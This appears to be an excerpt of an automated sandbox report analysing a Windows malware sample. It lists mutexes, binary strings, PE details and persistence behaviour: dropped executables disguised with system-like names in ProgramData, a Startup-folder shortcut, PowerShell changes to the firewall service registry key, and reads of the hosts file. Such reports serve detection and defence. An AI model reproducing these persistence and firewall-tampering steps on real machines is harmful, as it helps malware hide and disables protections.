              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6500:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3144:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5164:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2316:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4236:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6180:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5372:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6276:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6072:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6956:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4360:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6032:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6344:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6696:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6132:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6244:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4720:120:WilError_01
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: \Sessions\1\BaseNamedObjects\PSReadlineHistoryFile_169209511
              Source: Database.exeString found in binary or memory: set-addPolicy
              Source: Database.exeString found in binary or memory: waitcnt_value=vmcnt; done=true; } p=jit_emit_instruction(p,last_branch_target,jit_inst,jit_prefetch_vgpr_index,jit_vmcnt,batch_size); if(p-start_p>size_limit) { *(p++)=S_SETPC_B64_S12_13; return p; } } while (!done); } *(p++)=S_SETPC_B64_S12_13; return p; }
              Source: Database.exeString found in binary or memory: --help
              Source: Database.exeString found in binary or memory: --help
              Source: Database.exeString found in binary or memory: -h, --help display this help and exit
              Source: Database.exeString found in binary or memory: -h, --help display this help and exit
              Source: Database.exeString found in binary or memory: crypto/store/loader_file.c
              Source: Database.exeString found in binary or memory: id-cmc-addExtensions
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
              Source: 2dOeahdsto.exeStatic PE information: Image base 0x140000000 > 0x60000000
              Source: 2dOeahdsto.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
              Source: 2dOeahdsto.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
              Source: 2dOeahdsto.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
              Source: 2dOeahdsto.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
              Source: 2dOeahdsto.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
              Source: 2dOeahdsto.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
              Source: 2dOeahdsto.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
              Source: 2dOeahdsto.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
              Source: 2dOeahdsto.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
              Source: 2dOeahdsto.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
              Source: 2dOeahdsto.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
              Source: 2dOeahdsto.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
              Source: 2dOeahdsto.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF8590877E7 push edx; ret 4_2_00007FF8590877EB
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140013BE0 LoadLibraryA,GetProcAddress,35_2_0000000140013BE0
              Source: 2dOeahdsto.exeStatic PE information: section name: _RDATA
              Source: Database.exe.0.drStatic PE information: section name: .xdata
              Source: System.exe.0.drStatic PE information: section name: _RDATA

              Persistence and Installation Behavior

              barindex
              Creates files in the system32 config directory
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile created: C:\ProgramData\MicrosoftNetwork\System.exeJump to dropped file
              Source: C:\ProgramData\MicrosoftNetwork\System.exeFile created: C:\ProgramData\Systemd\old.exe (copy)Jump to dropped file
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile created: C:\ProgramData\Systemd\Database.exeJump to dropped file
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile created: C:\ProgramData\UpSys.exeJump to dropped file
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\UpSys[1].exeJump to dropped file
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile created: C:\ProgramData\MicrosoftNetwork\System.exeJump to dropped file
              Source: C:\ProgramData\MicrosoftNetwork\System.exeFile created: C:\ProgramData\Systemd\old.exe (copy)Jump to dropped file
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile created: C:\ProgramData\Systemd\Database.exeJump to dropped file
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile created: C:\ProgramData\UpSys.exeJump to dropped file
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnkJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\mpssvcJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnkJump to behavior
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140041BD0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,35_2_0000000140041BD0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014008BCB0 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,35_2_000000014008BCB0
              Source: C:\Users\user\Desktop\2dOeahdsto.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
